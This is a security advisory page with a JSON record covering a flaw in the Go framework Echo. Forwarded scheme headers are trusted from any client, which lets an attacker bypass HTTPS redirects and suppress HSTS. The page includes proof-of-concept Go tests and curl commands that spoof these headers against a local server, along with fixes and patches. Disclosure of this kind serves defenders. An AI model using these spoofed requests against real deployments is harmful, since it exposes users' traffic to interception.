Vulnerability-Lookup

GHSA-2FFQ-G2XG-C22P

Vulnerability from github – Published: 2026-10-28 21:04 – Updated: 2026-10-28 21:04

Summary

Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers

Details

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence): 1. X-Forwarded-Proto 2. X-Forwarded-Protocol 3. X-Forwarded-Ssl 4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).
Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

Component	File	Line(s)	Impact
`Context.Scheme()`	`context.go`	161–181	Returns attacker-controlled scheme
`HTTPSRedirect`	`middleware/redirect.go`	147–151	HTTPS enforcement bypassed
`HTTPSWWWRedirect`	`middleware/redirect.go`	154–161	HTTPS enforcement bypassed
`HTTPSNonWWWRedirect`	`middleware/redirect.go`	163–170	HTTPS enforcement bypassed
`WWWRedirect`	`middleware/redirect.go`	172–177	URL constructed with arbitrary scheme
`NonWWWRedirect`	`middleware/redirect.go`	179–184	URL constructed with arbitrary scheme
Secure middleware (HSTS)	`middleware/secure.go`	125	HSTS header suppressed

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when: - The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or - The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: `SchemeExtractor` (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/labstack/echo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/labstack/echo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:04:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\n`Context.Scheme()` unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.\n\nThe trusted headers (checked in this order of precedence):\n1. `X-Forwarded-Proto`\n2. `X-Forwarded-Protocol`\n3. `X-Forwarded-Ssl`\n4. `X-Url-Scheme`\n\n### Threat model\n\n**Scenario A \u2014 Directly exposed application (vulnerable by default):**\nThe Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending `X-Forwarded-Proto: https` defeats the `HTTPSRedirect` middleware entirely \u2014 traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.\n\nThis is the primary scenario. The application is vulnerable by default with no misconfiguration required \u2014 simply using `e.Pre(middleware.HTTPSRedirect())` as documented is sufficient.\n\n**Scenario B \u2014 Behind L7 proxy with header sanitization (reduced risk):**\nIf the application is strictly behind a correctly configured L7 proxy that always overwrites `X-Forwarded-Proto` and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo\u0027s own IP-extraction documentation states: *\"you must not trust HTTP headers unconditionally.\"*\n\n### Root cause\n\n`context.go`, lines 161\u2013181:\n\n```go\nfunc (c *Context) Scheme() string {\n    if c.IsTLS() {\n        return \"https\"\n    }\n    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != \"\" {\n        return scheme\n    }\n    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != \"\" {\n        return scheme\n    }\n    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == \"on\" {\n        return \"https\"\n    }\n    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != \"\" {\n        return scheme\n    }\n    return \"http\"\n}\n```\n\nTwo additional issues with this implementation:\n\n1. **No value validation.** `Scheme()` returns any arbitrary string from the header, not just `\"http\"` or `\"https\"`. This breaks the documented contract (\"returns the HTTP protocol scheme, `http` or `https`\") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., `WWWRedirect` builds `scheme + \"://www.\" + host + uri`).\n\n2. **Consumed by security-critical middleware.** The return value is used directly by redirect middleware (`middleware/redirect.go:136`) and secure middleware (`middleware/secure.go:125`) for security enforcement decisions.\n\n### Affected components\n\n| Component | File | Line(s) | Impact |\n|-----------|------|---------|--------|\n| `Context.Scheme()` | `context.go` | 161\u2013181 | Returns attacker-controlled scheme |\n| `HTTPSRedirect` | `middleware/redirect.go` | 147\u2013151 | HTTPS enforcement bypassed |\n| `HTTPSWWWRedirect` | `middleware/redirect.go` | 154\u2013161 | HTTPS enforcement bypassed |\n| `HTTPSNonWWWRedirect` | `middleware/redirect.go` | 163\u2013170 | HTTPS enforcement bypassed |\n| `WWWRedirect` | `middleware/redirect.go` | 172\u2013177 | URL constructed with arbitrary scheme |\n| `NonWWWRedirect` | `middleware/redirect.go` | 179\u2013184 | URL constructed with arbitrary scheme |\n| Secure middleware (HSTS) | `middleware/secure.go` | 125 | HSTS header suppressed |\n\n### This is an unsafe-by-default API surface, not just misconfiguration\n\nThis behavior is not accidental \u2014 it is codified in the project\u0027s own test suite. For example, `middleware/redirect_test.go` (lines 29\u201334) explicitly asserts that `X-Forwarded-Proto: https` on an HTTP request results in 200 OK (no redirect):\n\n```go\n{\n    whenHost:         \"labstack.com\",\n    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {\"https\"}},\n    expectLocation:   \"\",\n    expectStatusCode: http.StatusOK,\n},\n```\n\nSimilarly, `middleware/secure_test.go` (lines 42\u201353) and `context_test.go` (lines 1104\u20131111) assert that scheme is derived from the header.\n\nThe problem is not that the framework *can* use forwarded headers \u2014 that is legitimate behind a trusted proxy. The problem is that **there is no mechanism to control whether this trust is appropriate**, unlike the existing IP header trust model. `Scheme()` always trusts the headers, making any middleware that depends on it unsafe-by-default.\n\n### Inconsistency with existing trust model\n\nEcho already recognizes this class of header-trust vulnerability for IP addresses. The `IPExtractor` mechanism with `TrustOption` (`TrustLoopback`, `TrustPrivateNet`, `TrustLinkLocal`, `TrustIPRange`) was introduced specifically because:\n\n\u003e *\"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. **A security risk!**\"*\n\u003e \u2014 `ip.go`, lines 20\u201321\n\n\u003e *\"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set.\"*\n\u003e \u2014 `ip.go`, lines 36\u201338\n\nNo equivalent mechanism exists for scheme detection. `Scheme()` unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.\n\n### Note on proxies and the \"3 additional headers\"\n\nA correctly configured nginx `proxy_set_header X-Forwarded-Proto $scheme;` overwrites `X-Forwarded-Proto` with the actual incoming scheme. When a proxy does this, `X-Forwarded-Proto` is trustworthy and the three fallback headers (`X-Forwarded-Protocol`, `X-Forwarded-Ssl`, `X-Url-Scheme`) are never reached because `X-Forwarded-Proto` takes precedence in `Scheme()`.\n\nThe three additional headers become real attack vectors specifically when:\n- The proxy does **not** set `X-Forwarded-Proto` at all (common in default proxy configs), or\n- The application is directly exposed (Scenario A above).\n\nIn such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via `X-Forwarded-Proto` on a directly exposed app) does not depend on the additional headers.\n\n## Impact\n\n**HTTPS downgrade / MITM:** An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.\n\n**HSTS suppression:** Behind a TLS-terminating proxy, spoofing `X-Forwarded-Proto: http` prevents the `Strict-Transport-Security` header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.\n\n**URL construction with arbitrary scheme:** `WWWRedirect` and `NonWWWRedirect` use `c.Scheme()` to build redirect URLs (`scheme + \"://www.\" + host + uri`). An attacker can inject arbitrary strings (e.g., `javascript:`, `data:`) as the scheme component of redirect URLs.\n\n## Proof of Concept\n\nTested on Echo **v5.0.4** (commit `fa5311b`, 2026-02-15).\n\n### PoC 1: HTTPS Redirect Bypass (Go test)\n\n```go\npackage echo_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"testing\"\n\n    \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc TestHTTPSRedirectBypass(t *testing.T) {\n    e := echo.New()\n    e.Pre(middleware.HTTPSRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"served over: \"+c.Scheme())\n    })\n\n    // Normal HTTP \u2192 should redirect\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n    if rec.Code != http.StatusMovedPermanently {\n        t.Fatalf(\"expected 301, got %d\", rec.Code)\n    }\n    t.Logf(\"Normal HTTP \u2192 %d (redirect to %s)\", rec.Code, rec.Header().Get(\"Location\"))\n\n    // Attack: all 4 headers bypass the redirect\n    headers := map[string]string{\n        \"X-Forwarded-Proto\":    \"https\",\n        \"X-Forwarded-Protocol\": \"https\",\n        \"X-Forwarded-Ssl\":      \"on\",\n        \"X-Url-Scheme\":         \"https\",\n    }\n    for name, value := range headers {\n        req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n        req.Header.Set(name, value)\n        rec := httptest.NewRecorder()\n        e.ServeHTTP(rec, req)\n        if rec.Code == http.StatusOK {\n            t.Errorf(\"BYPASS via %s: %s \u2192 %d (no redirect!)\", name, value, rec.Code)\n        }\n    }\n}\n```\n\n### PoC 2: curl examples (easiest to reproduce)\n\nStart a minimal Echo server:\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    e.Pre(middleware.HTTPSRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"Hello on \"+c.Scheme())\n    })\n    e.Start(\":8080\")\n}\n```\n\nThen:\n\n```bash\n# Normal HTTP \u2192 301 redirect (expected)\n$ curl -I http://localhost:8080/\nHTTP/1.1 301 Moved Permanently\nLocation: https://localhost:8080/\n\n# Attack: bypass via X-Forwarded-Proto\n$ curl -H \"X-Forwarded-Proto: https\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Forwarded-Protocol\n$ curl -H \"X-Forwarded-Protocol: https\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Forwarded-Ssl\n$ curl -H \"X-Forwarded-Ssl: on\" http://localhost:8080/\nHello on https\n\n# Attack: bypass via X-Url-Scheme\n$ curl -H \"X-Url-Scheme: https\" http://localhost:8080/\nHello on https\n```\n\n### PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)\n\n```go\nfunc TestArbitrarySchemeInRedirect(t *testing.T) {\n    e := echo.New()\n    e.Pre(middleware.WWWRedirect())\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"ok\")\n    })\n\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req.Host = \"example.com\"\n    req.Header.Set(\"X-Forwarded-Proto\", \"javascript\")\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n\n    // Redirect Location uses the spoofed scheme\n    loc := rec.Header().Get(\"Location\")\n    // loc == \"javascript://www.example.com/\" \u2014 violates http/https contract\n    t.Logf(\"Status: %d, Location: %s\", rec.Code, loc)\n}\n```\n\n### PoC 4: HSTS Suppression\n\n```go\nfunc TestHSTSSuppression(t *testing.T) {\n    e := echo.New()\n    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))\n    e.GET(\"/\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"ok\")\n    })\n\n    // Legitimate: proxied HTTPS should have HSTS\n    req := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req.Header.Set(\"X-Forwarded-Proto\", \"https\")\n    rec := httptest.NewRecorder()\n    e.ServeHTTP(rec, req)\n    if h := rec.Header().Get(\"Strict-Transport-Security\"); h == \"\" {\n        t.Fatal(\"HSTS missing when it should be present\")\n    }\n\n    // Attack: suppress HSTS by spoofing \"http\"\n    // In production: app behind TLS-terminating proxy, proxy delivers response\n    // to client over HTTPS, but HSTS header is absent due to spoofed header\n    req2 := httptest.NewRequest(http.MethodGet, \"/\", nil)\n    req2.Header.Set(\"X-Forwarded-Proto\", \"http\")\n    rec2 := httptest.NewRecorder()\n    e.ServeHTTP(rec2, req2)\n    if h := rec2.Header().Get(\"Strict-Transport-Security\"); h == \"\" {\n        t.Error(\"VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http\")\n    }\n}\n```\n\n### Test output (all attacks succeed)\n\n```\n=== RUN   TestHTTPSRedirectBypass\n    Normal HTTP \u2192 301 (redirect to https://example.com/)\n    BYPASS via X-Forwarded-Proto: https \u2192 200 (no redirect!)\n    BYPASS via X-Forwarded-Protocol: https \u2192 200 (no redirect!)\n    BYPASS via X-Forwarded-Ssl: on \u2192 200 (no redirect!)\n    BYPASS via X-Url-Scheme: https \u2192 200 (no redirect!)\n\n=== RUN   TestArbitrarySchemeInRedirect\n    Status: 301, Location: javascript://www.example.com/\n\n=== RUN   TestHSTSSuppression\n    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http\n```\n\n## Precedent CVEs\n\n- **CVE-2018-1193** \u2014 Cloud Foundry GoRouter: unverified `X-Forwarded-Proto` header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding `sanitize_forwarded_proto` option.\n- **CVE-2025-41235** \u2014 Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.\n\n## Suggested fix\n\n### Option A: `SchemeExtractor` (recommended, backward-compatible with opt-in)\n\nAdd a `SchemeExtractor` mechanism analogous to the existing `IPExtractor`, where the extractor decides whether to trust forwarded headers based on `RemoteAddr` or trusted proxy ranges:\n\n```go\ntype SchemeExtractor func(req *http.Request) string\n\n// ExtractSchemeDirect ignores all forwarded headers (secure default)\nfunc ExtractSchemeDirect() SchemeExtractor { ... }\n\n// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources\nfunc ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }\n```\n\nUsage:\n\n```go\n// Secure: directly exposed, ignore headers\ne.SchemeExtractor = echo.ExtractSchemeDirect()\n\n// Behind trusted proxy\ne.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(\n    echo.TrustIPRange(proxySubnet),\n)\n```\n\nThe default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.\n\n### Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)\n\n`Scheme()` should validate that the returned value is `\"http\"` or `\"https\"`, rejecting arbitrary strings. This prevents the \"arbitrary scheme in redirect URL\" issue but does not address the core HTTPS redirect bypass (because `\"https\"` is a valid value that the attacker injects).\n\n### Both options should be applied together.\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. `Context.Scheme()` now uses the `X-Forwarded-Proto`, `X-Forwarded-Protocol`, `X-Forwarded-Ssl` and `X-Url-Scheme` headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When `X-Forwarded-Proto` is present, only its last value is used. The new `Echo#SchemeExtractor` selects the strategy (`ExtractSchemeFromHeaders`, `ExtractSchemeDirect`, `LegacySchemeExtractor`). The Secure middleware sets HSTS from `Context.Scheme()`, and the Proxy middleware always sets `X-Forwarded-Proto` and removes the other scheme headers.\n\n## Workarounds\n\nIf a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example `e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange))`; otherwise `HTTPSRedirect` redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites `X-Forwarded-Proto` and removes `X-Forwarded-Protocol`, `X-Forwarded-Ssl` and `X-Url-Scheme`, and that the application cannot be reached directly.",
  "id": "GHSA-2ffq-g2xg-c22p",
  "modified": "2026-10-28T21:04:52Z",
  "published": "2026-10-28T21:04:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/security/advisories/GHSA-2ffq-g2xg-c22p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/labstack/echo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/releases/tag/v4.16.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/releases/tag/v5.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers"
}

CVE-2026-118657 (GCVE-0-2026-118657)

Vulnerability from cvelistv5 – Published: 2026-10-28 20:14 – Updated: 2026-10-28 20:14

Title

Echo: HTTPS Redirect and HSTS Bypass via Unconditional Trust of Forwarded Scheme Headers

Summary

Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Context.Scheme unconditionally trusts forwarded scheme headers from any client. A client that reaches Echo directly over plaintext HTTP can claim an HTTPS scheme and bypass HTTPSRedirect because the request is treated as already secure. Separately, behind a TLS-terminating proxy that passes an attacker-controlled header, a claimed HTTP scheme can suppress the Strict-Transport-Security header even though the browser receives the response over HTTPS. The practical risk is reduced when a trusted proxy overwrites the headers and direct backend access is prevented, but the framework previously had no trusted-source configuration for this decision. This issue is fixed in 4.16.0 and 5.4.0.

Severity

5.9 (Medium)


                        
